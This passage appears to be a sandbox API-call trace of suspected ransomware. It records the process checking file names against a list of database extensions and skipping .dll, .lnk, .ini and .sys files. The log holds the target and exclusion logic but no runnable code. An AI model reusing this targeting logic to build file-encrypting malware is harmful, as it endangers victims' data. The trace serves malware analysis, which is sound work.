	[0066.383] lstrcmpiW (lpString1="VST", lpString2="db3") returned 1
	[0066.384] lstrlenW (lpString="dbf") returned 3
	[0066.384] lstrcmpiW (lpString1="VST", lpString2="dbf") returned 1
	[0066.384] lstrlenW (lpString="mdf") returned 3
	[0066.384] lstrcmpiW (lpString1="VST", lpString2="mdf") returned 1
	[0066.384] lstrlenW (lpString="mdb") returned 3
	[0066.384] lstrcmpiW (lpString1="VST", lpString2="mdb") returned 1
	[0066.384] lstrlenW (lpString="sql") returned 3
	[0066.384] lstrcmpiW (lpString1="VST", lpString2="sql") returned 1
	[0066.384] lstrlenW (lpString="sqlite") returned 6
	[0066.384] lstrcmpiW (lpString1="_U.VST", lpString2="sqlite") returned -1
	[0066.384] lstrlenW (lpString="sqlite3") returned 7
	[0066.384] lstrcmpiW (lpString1="R_U.VST", lpString2="sqlite3") returned -1
	[0066.384] lstrlenW (lpString="sqlitedb") returned 8
	[0066.384] lstrcmpiW (lpString1="IR_U.VST", lpString2="sqlitedb") returned -1
	[0066.384] lstrlenW (lpString="xml") returned 3
	[0066.384] lstrcmpiW (lpString1="VST", lpString2="xml") returned -1
	[0066.384] lstrlenW (lpString="$er") returned 3
	[0066.384] lstrcmpiW (lpString1="VST", lpString2="$er") returned 1
	[0066.384] lstrlenW (lpString="4dd") returned 3
	[0066.384] lstrcmpiW (lpString1="VST", lpString2="4dd") returned 1
	[0066.384] lstrlenW (lpString="4dl") returned 3
	[0066.384] lstrcmpiW (lpString1="VST", lpString2="4dl") returned 1
	[0066.384] lstrlenW (lpString="^^^") returned 3
	[0066.384] lstrcmpiW (lpString1="VST", lpString2="^^^") returned 1
	[0066.384] lstrlenW (lpString="abs") returned 3
	[0066.384] lstrcmpiW (lpString1="VST", lpString2="abs") returned 1
	[0066.384] lstrlenW (lpString="abx") returned 3
	[0066.384] lstrcmpiW (lpString1="VST", lpString2="abx") returned 1
	[0066.384] lstrlenW (lpString="accdb") returned 5
	[0066.384] lstrcmpiW (lpString1="U.VST", lpString2="accdb") returned 1
	[0066.384] lstrlenW (lpString="accdc") returned 5
	[0066.384] lstrcmpiW (lpString1="U.VST", lpString2="accdc") returned 1
	[0066.384] lstrlenW (lpString="accde") returned 5
	[0066.384] lstrcmpiW (lpString1="U.VST", lpString2="accde") returned 1
	[0066.385] lstrlenW (lpString="accdr") returned 5
	[0066.385] lstrcmpiW (lpString1="U.VST", lpString2="accdr") returned 1
	[0066.385] lstrlenW (lpString="accdt") returned 5
	[0066.385] lstrcmpiW (lpString1="U.VST", lpString2="accdt") returned 1
	[0066.385] lstrlenW (lpString="accdw") returned 5
	[0066.385] lstrcmpiW (lpString1="U.VST", lpString2="accdw") returned 1
	[0066.385] lstrlenW (lpString="accft") returned 5
	[0066.385] lstrcmpiW (lpString1="U.VST", lpString2="accft") returned 1
	[0066.385] lstrlenW (lpString="adb") returned 3
	[0066.385] lstrcmpiW (lpString1="VST", lpString2="adb") returned 1
	[0066.385] lstrlenW (lpString="adb") returned 3
	[0066.385] lstrcmpiW (lpString1="VST", lpString2="adb") returned 1
	[0066.385] lstrlenW (lpString="ade") returned 3
	[0066.385] lstrcmpiW (lpString1="VST", lpString2="ade") returned 1
	[0066.385] lstrlenW (lpString="adf") returned 3
	[0066.385] lstrcmpiW (lpString1="VST", lpString2="adf") returned 1
	[0066.385] lstrlenW (lpString="adn") returned 3
	[0066.385] lstrcmpiW (lpString1="VST", lpString2="adn") returned 1
	[0066.385] lstrlenW (lpString="adp") returned 3
	[0066.385] lstrcmpiW (lpString1="VST", lpString2="adp") returned 1
	[0066.385] lstrlenW (lpString="alf") returned 3
	[0066.385] lstrcmpiW (lpString1="VST", lpString2="alf") returned 1
	[0066.385] lstrlenW (lpString="ask") returned 3
	[0066.385] lstrcmpiW (lpString1="VST", lpString2="ask") returned 1
	[0066.385] lstrlenW (lpString="btr") returned 3
	[0066.385] lstrcmpiW (lpString1="VST", lpString2="btr") returned 1
	[0066.385] lstrlenW (lpString="cat") returned 3
	[0066.385] lstrcmpiW (lpString1="VST", lpString2="cat") returned 1
	[0066.385] lstrlenW (lpString="cdb") returned 3
	[0066.385] lstrcmpiW (lpString1="VST", lpString2="cdb") returned 1
	[0066.385] lstrlenW (lpString="ckp") returned 3
	[0066.385] lstrcmpiW (lpString1="VST", lpString2="ckp") returned 1
	[0066.385] lstrlenW (lpString="cma") returned 3
	[0066.385] lstrcmpiW (lpString1="VST", lpString2="cma") returned 1
	[0066.386] lstrlenW (lpString="cpd") returned 3
	[0066.386] lstrcmpiW (lpString1="VST", lpString2="cpd") returned 1
	[0066.386] lstrlenW (lpString="dacpac") returned 6
	[0066.386] lstrcmpiW (lpString1="_U.VST", lpString2="dacpac") returned -1
	[0066.386] lstrlenW (lpString="dad") returned 3
	[0066.386] lstrcmpiW (lpString1="VST", lpString2="dad") returned 1
	[0066.386] lstrlenW (lpString="dadiagrams") returned 10
	[0066.386] lstrcmpiW (lpString1="TDIR_U.VST", lpString2="dadiagrams") returned 1
	[0066.386] lstrlenW (lpString="daschema") returned 8
	[0066.386] lstrcmpiW (lpString1="IR_U.VST", lpString2="daschema") returned 1
	[0066.386] lstrlenW (lpString="db-journal") returned 10
	[0066.386] lstrcmpiW (lpString1="TDIR_U.VST", lpString2="db-journal") returned 1
	[0066.386] lstrlenW (lpString="db-shm") returned 6
	[0066.386] lstrcmpiW (lpString1="_U.VST", lpString2="db-shm") returned -1
	[0066.386] lstrlenW (lpString="db-wal") returned 6
	[0066.386] lstrcmpiW (lpString1="_U.VST", lpString2="db-wal") returned -1
	[0066.386] lstrlenW (lpString="dbc") returned 3
	[0066.386] lstrcmpiW (lpString1="VST", lpString2="dbc") returned 1
	[0066.386] lstrlenW (lpString="dbs") returned 3
	[0066.386] lstrcmpiW (lpString1="VST", lpString2="dbs") returned 1
	[0066.386] lstrlenW (lpString="dbt") returned 3
	[0066.386] lstrcmpiW (lpString1="VST", lpString2="dbt") returned 1
	[0066.386] lstrlenW (lpString="dbv") returned 3
	[0066.386] lstrcmpiW (lpString1="VST", lpString2="dbv") returned 1
	[0066.386] lstrlenW (lpString="dbx") returned 3
	[0066.386] lstrcmpiW (lpString1="VST", lpString2="dbx") returned 1
	[0066.386] lstrlenW (lpString="dcb") returned 3
	[0066.386] lstrcmpiW (lpString1="VST", lpString2="dcb") returned 1
	[0066.386] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ADO_M.VSS" | out: lpString1="ADO_M.VSS") returned="ADO_M.VSS"
	[0066.386] lstrlenW (lpString="ADO_M.VSS") returned 9
	[0066.386] lstrlenW (lpString="Apollon865") returned 10
	[0066.386] lstrlenW (lpString=".dll") returned 4
	[0066.387] lstrcmpiW (lpString1="ADO_M.VSS", lpString2=".dll") returned 1
	[0066.387] lstrlenW (lpString=".lnk") returned 4
	[0066.387] lstrcmpiW (lpString1="ADO_M.VSS", lpString2=".lnk") returned 1
	[0066.387] lstrlenW (lpString=".ini") returned 4
	[0066.387] lstrcmpiW (lpString1="ADO_M.VSS", lpString2=".ini") returned 1
	[0066.387] lstrlenW (lpString=".sys") returned 4
	[0066.387] lstrcmpiW (lpString1="ADO_M.VSS", lpString2=".sys") returned 1
	[0066.387] lstrlenW (lpString="ADO_M.VSS") returned 9
	[0066.387] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ADO_U.VSS" | out: lpString1="ADO_U.VSS") returned="ADO_U.VSS"
	[0066.387] lstrlenW (lpString="ADO_U.VSS") returned 9
	[0066.387] lstrlenW (lpString="Apollon865") returned 10
	[0066.387] lstrlenW (lpString=".dll") returned 4
	[0066.387] lstrcmpiW (lpString1="ADO_U.VSS", lpString2=".dll") returned 1
	[0066.387] lstrlenW (lpString=".lnk") returned 4
	[0066.387] lstrcmpiW (lpString1="ADO_U.VSS", lpString2=".lnk") returned 1
	[0066.387] lstrlenW (lpString=".ini") returned 4
	[0066.387] lstrcmpiW (lpString1="ADO_U.VSS", lpString2=".ini") returned 1
	[0066.387] lstrlenW (lpString=".sys") returned 4
	[0066.387] lstrcmpiW (lpString1="ADO_U.VSS", lpString2=".sys") returned 1
	[0066.387] lstrlenW (lpString="ADO_U.VSS") returned 9
	[0066.387] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ADS_M.VSS" | out: lpString1="ADS_M.VSS") returned="ADS_M.VSS"
	[0066.387] lstrlenW (lpString="ADS_M.VSS") returned 9
	[0066.387] lstrlenW (lpString="Apollon865") returned 10
	[0066.387] lstrlenW (lpString=".dll") returned 4
	[0066.387] lstrcmpiW (lpString1="ADS_M.VSS", lpString2=".dll") returned 1
	[0066.387] lstrlenW (lpString=".lnk") returned 4
	[0066.387] lstrcmpiW (lpString1="ADS_M.VSS", lpString2=".lnk") returned 1
	[0066.387] lstrlenW (lpString=".ini") returned 4
	[0066.387] lstrcmpiW (lpString1="ADS_M.VSS", lpString2=".ini") returned 1
	[0066.387] lstrlenW (lpString=".sys") returned 4
	[0066.387] lstrcmpiW (lpString1="ADS_M.VSS", lpString2=".sys") returned 1
	[0066.388] lstrlenW (lpString="ADS_M.VSS") returned 9
	[0066.388] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ADS_U.VSS" | out: lpString1="ADS_U.VSS") returned="ADS_U.VSS"
	[0066.388] lstrlenW (lpString="ADS_U.VSS") returned 9
	[0066.388] lstrlenW (lpString="Apollon865") returned 10
	[0066.388] lstrlenW (lpString=".dll") returned 4
	[0066.388] lstrcmpiW (lpString1="ADS_U.VSS", lpString2=".dll") returned 1
	[0066.388] lstrlenW (lpString=".lnk") returned 4
	[0066.388] lstrcmpiW (lpString1="ADS_U.VSS", lpString2=".lnk") returned 1
	[0066.388] lstrlenW (lpString=".ini") returned 4
	[0066.388] lstrcmpiW (lpString1="ADS_U.VSS", lpString2=".ini") returned 1
	[0066.388] lstrlenW (lpString=".sys") returned 4
	[0066.388] lstrcmpiW (lpString1="ADS_U.VSS", lpString2=".sys") returned 1
	[0066.388] lstrlenW (lpString="ADS_U.VSS") returned 9
	[0066.388] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ALARM_M.VSS" | out: lpString1="ALARM_M.VSS") returned="ALARM_M.VSS"
	[0066.388] lstrlenW (lpString="ALARM_M.VSS") returned 11
	[0066.388] lstrlenW (lpString="Apollon865") returned 10
	[0066.388] lstrcmpiW (lpString1="LARM_M.VSS", lpString2="Apollon865") returned 1
	[0066.388] lstrlenW (lpString=".dll") returned 4
	[0066.388] lstrcmpiW (lpString1="ALARM_M.VSS", lpString2=".dll") returned 1
	[0066.388] lstrlenW (lpString=".lnk") returned 4
	[0066.388] lstrcmpiW (lpString1="ALARM_M.VSS", lpString2=".lnk") returned 1
	[0066.388] lstrlenW (lpString=".ini") returned 4
	[0066.388] lstrcmpiW (lpString1="ALARM_M.VSS", lpString2=".ini") returned 1
	[0066.388] lstrlenW (lpString=".sys") returned 4
	[0066.388] lstrcmpiW (lpString1="ALARM_M.VSS", lpString2=".sys") returned 1
	[0066.388] lstrlenW (lpString="ALARM_M.VSS") returned 11
	[0066.388] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ALARM_U.VSS" | out: lpString1="ALARM_U.VSS") returned="ALARM_U.VSS"
	[0066.388] lstrlenW (lpString="ALARM_U.VSS") returned 11
	[0066.389] lstrlenW (lpString="Apollon865") returned 10
	[0066.389] lstrcmpiW (lpString1="LARM_U.VSS", lpString2="Apollon865") returned 1
	[0066.389] lstrlenW (lpString=".dll") returned 4
	[0066.389] lstrcmpiW (lpString1="ALARM_U.VSS", lpString2=".dll") returned 1
	[0066.389] lstrlenW (lpString=".lnk") returned 4
	[0066.389] lstrcmpiW (lpString1="ALARM_U.VSS", lpString2=".lnk") returned 1
	[0066.389] lstrlenW (lpString=".ini") returned 4
	[0066.389] lstrcmpiW (lpString1="ALARM_U.VSS", lpString2=".ini") returned 1
	[0066.389] lstrlenW (lpString=".sys") returned 4
	[0066.389] lstrcmpiW (lpString1="ALARM_U.VSS", lpString2=".sys") returned 1
	[0066.389] lstrlenW (lpString="ALARM_U.VSS") returned 11
	[0066.389] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ANNOT_M.VSS" | out: lpString1="ANNOT_M.VSS") returned="ANNOT_M.VSS"
	[0066.389] lstrlenW (lpString="ANNOT_M.VSS") returned 11
	[0066.389] lstrlenW (lpString="Apollon865") returned 10
	[0066.389] lstrcmpiW (lpString1="NNOT_M.VSS", lpString2="Apollon865") returned 1
	[0066.389] lstrlenW (lpString=".dll") returned 4
	[0066.389] lstrcmpiW (lpString1="ANNOT_M.VSS", lpString2=".dll") returned 1
	[0066.389] lstrlenW (lpString=".lnk") returned 4
	[0066.389] lstrcmpiW (lpString1="ANNOT_M.VSS", lpString2=".lnk") returned 1
	[0066.389] lstrlenW (lpString=".ini") returned 4
	[0066.389] lstrcmpiW (lpString1="ANNOT_M.VSS", lpString2=".ini") returned 1
	[0066.389] lstrlenW (lpString=".sys") returned 4
	[0066.389] lstrcmpiW (lpString1="ANNOT_M.VSS", lpString2=".sys") returned 1
	[0066.389] lstrlenW (lpString="ANNOT_M.VSS") returned 11
	[0066.389] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ANNOT_U.VSS" | out: lpString1="ANNOT_U.VSS") returned="ANNOT_U.VSS"
	[0066.389] lstrlenW (lpString="ANNOT_U.VSS") returned 11
	[0066.389] lstrlenW (lpString="Apollon865") returned 10
	[0066.389] lstrcmpiW (lpString1="NNOT_U.VSS", lpString2="Apollon865") returned 1
	[0066.389] lstrlenW (lpString=".dll") returned 4
	[0066.389] lstrcmpiW (lpString1="ANNOT_U.VSS", lpString2=".dll") returned 1
	[0066.390] lstrlenW (lpString=".lnk") returned 4
	[0066.390] lstrcmpiW (lpString1="ANNOT_U.VSS", lpString2=".lnk") returned 1
	[0066.390] lstrlenW (lpString=".ini") returned 4
	[0066.390] lstrcmpiW (lpString1="ANNOT_U.VSS", lpString2=".ini") returned 1
	[0066.390] lstrlenW (lpString=".sys") returned 4
	[0066.390] lstrcmpiW (lpString1="ANNOT_U.VSS", lpString2=".sys") returned 1
	[0066.390] lstrlenW (lpString="ANNOT_U.VSS") returned 11
	[0066.390] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="APPL_M.VSS" | out: lpString1="APPL_M.VSS") returned="APPL_M.VSS"
	[0066.390] lstrlenW (lpString="APPL_M.VSS") returned 10
	[0066.390] lstrlenW (lpString="Apollon865") returned 10
	[0066.390] lstrlenW (lpString=".dll") returned 4
	[0066.390] lstrcmpiW (lpString1="APPL_M.VSS", lpString2=".dll") returned 1
	[0066.390] lstrlenW (lpString=".lnk") returned 4
	[0066.390] lstrcmpiW (lpString1="APPL_M.VSS", lpString2=".lnk") returned 1
	[0066.390] lstrlenW (lpString=".ini") returned 4
	[0066.390] lstrcmpiW (lpString1="APPL_M.VSS", lpString2=".ini") returned 1
	[0066.390] lstrlenW (lpString=".sys") returned 4
	[0066.390] lstrcmpiW (lpString1="APPL_M.VSS", lpString2=".sys") returned 1
	[0066.390] lstrlenW (lpString="APPL_M.VSS") returned 10
	[0066.390] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="APPL_U.VSS" | out: lpString1="APPL_U.VSS") returned="APPL_U.VSS"
	[0066.390] lstrlenW (lpString="APPL_U.VSS") returned 10
	[0066.390] lstrlenW (lpString="Apollon865") returned 10
	[0066.390] lstrlenW (lpString=".dll") returned 4
	[0066.390] lstrcmpiW (lpString1="APPL_U.VSS", lpString2=".dll") returned 1
	[0066.390] lstrlenW (lpString=".lnk") returned 4
	[0066.390] lstrcmpiW (lpString1="APPL_U.VSS", lpString2=".lnk") returned 1
	[0066.390] lstrlenW (lpString=".ini") returned 4
	[0066.390] lstrcmpiW (lpString1="APPL_U.VSS", lpString2=".ini") returned 1
	[0066.390] lstrlenW (lpString=".sys") returned 4
	[0066.390] lstrcmpiW (lpString1="APPL_U.VSS", lpString2=".sys") returned 1
	[0066.391] lstrlenW (lpString="APPL_U.VSS") returned 10
	[0066.391] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ARROWS_M.VSS" | out: lpString1="ARROWS_M.VSS") returned="ARROWS_M.VSS"
	[0066.391] lstrlenW (lpString="ARROWS_M.VSS") returned 12
	[0066.391] lstrlenW (lpString="Apollon865") returned 10
	[0066.391] lstrcmpiW (lpString1="ROWS_M.VSS", lpString2="Apollon865") returned 1
	[0066.391] lstrlenW (lpString=".dll") returned 4
	[0066.391] lstrcmpiW (lpString1="ARROWS_M.VSS", lpString2=".dll") returned 1
	[0066.391] lstrlenW (lpString=".lnk") returned 4
	[0066.391] lstrcmpiW (lpString1="ARROWS_M.VSS", lpString2=".lnk") returned 1
	[0066.391] lstrlenW (lpString=".ini") returned 4
	[0066.391] lstrcmpiW (lpString1="ARROWS_M.VSS", lpString2=".ini") returned 1
	[0066.391] lstrlenW (lpString=".sys") returned 4
	[0066.391] lstrcmpiW (lpString1="ARROWS_M.VSS", lpString2=".sys") returned 1
	[0066.391] lstrlenW (lpString="ARROWS_M.VSS") returned 12
	[0066.391] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ARROWS_U.VSS" | out: lpString1="ARROWS_U.VSS") returned="ARROWS_U.VSS"
	[0066.391] lstrlenW (lpString="ARROWS_U.VSS") returned 12
	[0066.391] lstrlenW (lpString="Apollon865") returned 10
	[0066.391] lstrcmpiW (lpString1="ROWS_U.VSS", lpString2="Apollon865") returned 1
	[0066.391] lstrlenW (lpString=".dll") returned 4
	[0066.391] lstrcmpiW (lpString1="ARROWS_U.VSS", lpString2=".dll") returned 1
	[0066.391] lstrlenW (lpString=".lnk") returned 4
	[0066.391] lstrcmpiW (lpString1="ARROWS_U.VSS", lpString2=".lnk") returned 1
	[0066.391] lstrlenW (lpString=".ini") returned 4
	[0066.391] lstrcmpiW (lpString1="ARROWS_U.VSS", lpString2=".ini") returned 1
	[0066.391] lstrlenW (lpString=".sys") returned 4
	[0066.391] lstrcmpiW (lpString1="ARROWS_U.VSS", lpString2=".sys") returned 1
	[0066.391] lstrlenW (lpString="ARROWS_U.VSS") returned 12
	[0066.391] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ASTMGT.XLS" | out: lpString1="ASTMGT.XLS") returned="ASTMGT.XLS"
	[0066.392] lstrlenW (lpString="ASTMGT.XLS") returned 10
	[0066.392] lstrlenW (lpString="Apollon865") returned 10
	[0066.392] lstrlenW (lpString=".dll") returned 4
	[0066.392] lstrcmpiW (lpString1="ASTMGT.XLS", lpString2=".dll") returned 1
	[0066.392] lstrlenW (lpString=".lnk") returned 4
	[0066.392] lstrcmpiW (lpString1="ASTMGT.XLS", lpString2=".lnk") returned 1
	[0066.392] lstrlenW (lpString=".ini") returned 4
	[0066.392] lstrcmpiW (lpString1="ASTMGT.XLS", lpString2=".ini") returned 1
	[0066.392] lstrlenW (lpString=".sys") returned 4
	[0066.392] lstrcmpiW (lpString1="ASTMGT.XLS", lpString2=".sys") returned 1
	[0066.392] lstrlenW (lpString="ASTMGT.XLS") returned 10
	[0066.392] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ASTMGT_M.VST" | out: lpString1="ASTMGT_M.VST") returned="ASTMGT_M.VST"
	[0066.392] lstrlenW (lpString="ASTMGT_M.VST") returned 12
	[0066.392] lstrlenW (lpString="Apollon865") returned 10
	[0066.392] lstrcmpiW (lpString1="TMGT_M.VST", lpString2="Apollon865") returned 1
	[0066.392] lstrlenW (lpString=".dll") returned 4
	[0066.392] lstrcmpiW (lpString1="ASTMGT_M.VST", lpString2=".dll") returned 1
	[0066.392] lstrlenW (lpString=".lnk") returned 4
	[0066.392] lstrcmpiW (lpString1="ASTMGT_M.VST", lpString2=".lnk") returned 1
	[0066.392] lstrlenW (lpString=".ini") returned 4
	[0066.392] lstrcmpiW (lpString1="ASTMGT_M.VST", lpString2=".ini") returned 1
	[0066.392] lstrlenW (lpString=".sys") returned 4
	[0066.392] lstrcmpiW (lpString1="ASTMGT_M.VST", lpString2=".sys") returned 1
	[0066.392] lstrlenW (lpString="ASTMGT_M.VST") returned 12
	[0066.392] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ASTMGT_U.VST" | out: lpString1="ASTMGT_U.VST") returned="ASTMGT_U.VST"
	[0066.392] lstrlenW (lpString="ASTMGT_U.VST") returned 12
	[0066.392] lstrlenW (lpString="Apollon865") returned 10
	[0066.392] lstrcmpiW (lpString1="TMGT_U.VST", lpString2="Apollon865") returned 1
	[0066.392] lstrlenW (lpString=".dll") returned 4
	[0066.392] lstrcmpiW (lpString1="ASTMGT_U.VST", lpString2=".dll") returned 1
	[0066.393] lstrlenW (lpString=".lnk") returned 4
	[0066.393] lstrcmpiW (lpString1="ASTMGT_U.VST", lpString2=".lnk") returned 1
	[0066.393] lstrlenW (lpString=".ini") returned 4
	[0066.393] lstrcmpiW (lpString1="ASTMGT_U.VST", lpString2=".ini") returned 1
	[0066.393] lstrlenW (lpString=".sys") returned 4
	[0066.393] lstrcmpiW (lpString1="ASTMGT_U.VST", lpString2=".sys") returned 1
	[0066.393] lstrlenW (lpString="ASTMGT_U.VST") returned 12
	[0066.393] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="AUDIT_M.VSS" | out: lpString1="AUDIT_M.VSS") returned="AUDIT_M.VSS"
	[0066.393] lstrlenW (lpString="AUDIT_M.VSS") returned 11
	[0066.393] lstrlenW (lpString="Apollon865") returned 10
	[0066.393] lstrcmpiW (lpString1="UDIT_M.VSS", lpString2="Apollon865") returned 1
	[0066.393] lstrlenW (lpString=".dll") returned 4
	[0066.393] lstrcmpiW (lpString1="AUDIT_M.VSS", lpString2=".dll") returned 1
	[0066.393] lstrlenW (lpString=".lnk") returned 4
	[0066.393] lstrcmpiW (lpString1="AUDIT_M.VSS", lpString2=".lnk") returned 1
	[0066.393] lstrlenW (lpString=".ini") returned 4
	[0066.393] lstrcmpiW (lpString1="AUDIT_M.VSS", lpString2=".ini") returned 1
	[0066.393] lstrlenW (lpString=".sys") returned 4
	[0066.393] lstrcmpiW (lpString1="AUDIT_M.VSS", lpString2=".sys") returned 1
	[0066.393] lstrlenW (lpString="AUDIT_M.VSS") returned 11
	[0066.393] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="AUDIT_M.VST" | out: lpString1="AUDIT_M.VST") returned="AUDIT_M.VST"
	[0066.393] lstrlenW (lpString="AUDIT_M.VST") returned 11
	[0066.393] lstrlenW (lpString="Apollon865") returned 10
	[0066.393] lstrcmpiW (lpString1="UDIT_M.VST", lpString2="Apollon865") returned 1
	[0066.393] lstrlenW (lpString=".dll") returned 4
	[0066.393] lstrcmpiW (lpString1="AUDIT_M.VST", lpString2=".dll") returned 1
	[0066.393] lstrlenW (lpString=".lnk") returned 4
	[0066.393] lstrcmpiW (lpString1="AUDIT_M.VST", lpString2=".lnk") returned 1
	[0066.393] lstrlenW (lpString=".ini") returned 4
	[0066.393] lstrcmpiW (lpString1="AUDIT_M.VST", lpString2=".ini") returned 1
	[0066.393] lstrlenW (lpString=".sys") returned 4
	[0066.394] lstrcmpiW (lpString1="AUDIT_M.VST", lpString2=".sys") returned 1
	[0066.394] lstrlenW (lpString="AUDIT_M.VST") returned 11
	[0066.394] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="AUDIT_U.VSS" | out: lpString1="AUDIT_U.VSS") returned="AUDIT_U.VSS"
	[0066.394] lstrlenW (lpString="AUDIT_U.VSS") returned 11
	[0066.394] lstrlenW (lpString="Apollon865") returned 10
	[0066.394] lstrcmpiW (lpString1="UDIT_U.VSS", lpString2="Apollon865") returned 1
	[0066.394] lstrlenW (lpString=".dll") returned 4
	[0066.394] lstrcmpiW (lpString1="AUDIT_U.VSS", lpString2=".dll") returned 1
	[0066.394] lstrlenW (lpString=".lnk") returned 4
	[0066.394] lstrcmpiW (lpString1="AUDIT_U.VSS", lpString2=".lnk") returned 1
	[0066.394] lstrlenW (lpString=".ini") returned 4
	[0066.394] lstrcmpiW (lpString1="AUDIT_U.VSS", lpString2=".ini") returned 1
	[0066.394] lstrlenW (lpString=".sys") returned 4
	[0066.394] lstrcmpiW (lpString1="AUDIT_U.VSS", lpString2=".sys") returned 1
	[0066.394] lstrlenW (lpString="AUDIT_U.VSS") returned 11
	[0066.394] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="AUDIT_U.VST" | out: lpString1="AUDIT_U.VST") returned="AUDIT_U.VST"
	[0066.394] lstrlenW (lpString="AUDIT_U.VST") returned 11
	[0066.394] lstrlenW (lpString="Apollon865") returned 10
	[0066.394] lstrcmpiW (lpString1="UDIT_U.VST", lpString2="Apollon865") returned 1
	[0066.394] lstrlenW (lpString=".dll") returned 4
	[0066.394] lstrcmpiW (lpString1="AUDIT_U.VST", lpString2=".dll") returned 1
	[0066.394] lstrlenW (lpString=".lnk") returned 4
	[0066.394] lstrcmpiW (lpString1="AUDIT_U.VST", lpString2=".lnk") returned 1
	[0066.394] lstrlenW (lpString=".ini") returned 4
	[0066.394] lstrcmpiW (lpString1="AUDIT_U.VST", lpString2=".ini") returned 1
	[0066.394] lstrlenW (lpString=".sys") returned 4
	[0066.394] lstrcmpiW (lpString1="AUDIT_U.VST", lpString2=".sys") returned 1
	[0066.394] lstrlenW (lpString="AUDIT_U.VST") returned 11
	[0066.395] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BASFLO_M.VSS" | out: lpString1="BASFLO_M.VSS") returned="BASFLO_M.VSS"
	[0066.395] lstrlenW (lpString="BASFLO_M.VSS") returned 12
	[0066.395] lstrlenW (lpString="Apollon865") returned 10
	[0066.395] lstrcmpiW (lpString1="SFLO_M.VSS", lpString2="Apollon865") returned 1
	[0066.395] lstrlenW (lpString=".dll") returned 4
	[0066.395] lstrcmpiW (lpString1="BASFLO_M.VSS", lpString2=".dll") returned 1
	[0066.395] lstrlenW (lpString=".lnk") returned 4
	[0066.395] lstrcmpiW (lpString1="BASFLO_M.VSS", lpString2=".lnk") returned 1
	[0066.395] lstrlenW (lpString=".ini") returned 4
	[0066.395] lstrcmpiW (lpString1="BASFLO_M.VSS", lpString2=".ini") returned 1
	[0066.395] lstrlenW (lpString=".sys") returned 4
	[0066.395] lstrcmpiW (lpString1="BASFLO_M.VSS", lpString2=".sys") returned 1
	[0066.395] lstrlenW (lpString="BASFLO_M.VSS") returned 12
	[0066.395] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BASFLO_M.VST" | out: lpString1="BASFLO_M.VST") returned="BASFLO_M.VST"
	[0066.395] lstrlenW (lpString="BASFLO_M.VST") returned 12
	[0066.395] lstrlenW (lpString="Apollon865") returned 10
	[0066.395] lstrcmpiW (lpString1="SFLO_M.VST", lpString2="Apollon865") returned 1
	[0066.395] lstrlenW (lpString=".dll") returned 4
	[0066.395] lstrcmpiW (lpString1="BASFLO_M.VST", lpString2=".dll") returned 1
	[0066.395] lstrlenW (lpString=".lnk") returned 4
	[0066.395] lstrcmpiW (lpString1="BASFLO_M.VST", lpString2=".lnk") returned 1
	[0066.395] lstrlenW (lpString=".ini") returned 4
	[0066.395] lstrcmpiW (lpString1="BASFLO_M.VST", lpString2=".ini") returned 1
	[0066.395] lstrlenW (lpString=".sys") returned 4
	[0066.395] lstrcmpiW (lpString1="BASFLO_M.VST", lpString2=".sys") returned 1
	[0066.395] lstrlenW (lpString="BASFLO_M.VST") returned 12
	[0066.395] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BASFLO_U.VSS" | out: lpString1="BASFLO_U.VSS") returned="BASFLO_U.VSS"
	[0066.395] lstrlenW (lpString="BASFLO_U.VSS") returned 12
	[0066.395] lstrlenW (lpString="Apollon865") returned 10
	[0066.396] lstrcmpiW (lpString1="SFLO_U.VSS", lpString2="Apollon865") returned 1
	[0066.396] lstrlenW (lpString=".dll") returned 4
	[0066.396] lstrcmpiW (lpString1="BASFLO_U.VSS", lpString2=".dll") returned 1
	[0066.396] lstrlenW (lpString=".lnk") returned 4
	[0066.396] lstrcmpiW (lpString1="BASFLO_U.VSS", lpString2=".lnk") returned 1
	[0066.396] lstrlenW (lpString=".ini") returned 4
	[0066.396] lstrcmpiW (lpString1="BASFLO_U.VSS", lpString2=".ini") returned 1
	[0066.396] lstrlenW (lpString=".sys") returned 4
	[0066.396] lstrcmpiW (lpString1="BASFLO_U.VSS", lpString2=".sys") returned 1
	[0066.396] lstrlenW (lpString="BASFLO_U.VSS") returned 12
	[0066.396] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BASFLO_U.VST" | out: lpString1="BASFLO_U.VST") returned="BASFLO_U.VST"
	[0066.396] lstrlenW (lpString="BASFLO_U.VST") returned 12
	[0066.396] lstrlenW (lpString="Apollon865") returned 10
	[0066.396] lstrcmpiW (lpString1="SFLO_U.VST", lpString2="Apollon865") returned 1
	[0066.396] lstrlenW (lpString=".dll") returned 4
	[0066.396] lstrcmpiW (lpString1="BASFLO_U.VST", lpString2=".dll") returned 1
	[0066.396] lstrlenW (lpString=".lnk") returned 4
	[0066.396] lstrcmpiW (lpString1="BASFLO_U.VST", lpString2=".lnk") returned 1
	[0066.396] lstrlenW (lpString=".ini") returned 4
	[0066.396] lstrcmpiW (lpString1="BASFLO_U.VST", lpString2=".ini") returned 1
	[0066.396] lstrlenW (lpString=".sys") returned 4
	[0066.396] lstrcmpiW (lpString1="BASFLO_U.VST", lpString2=".sys") returned 1
	[0066.396] lstrlenW (lpString="BASFLO_U.VST") returned 12
	[0066.396] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BASICD_M.VST" | out: lpString1="BASICD_M.VST") returned="BASICD_M.VST"
	[0066.396] lstrlenW (lpString="BASICD_M.VST") returned 12
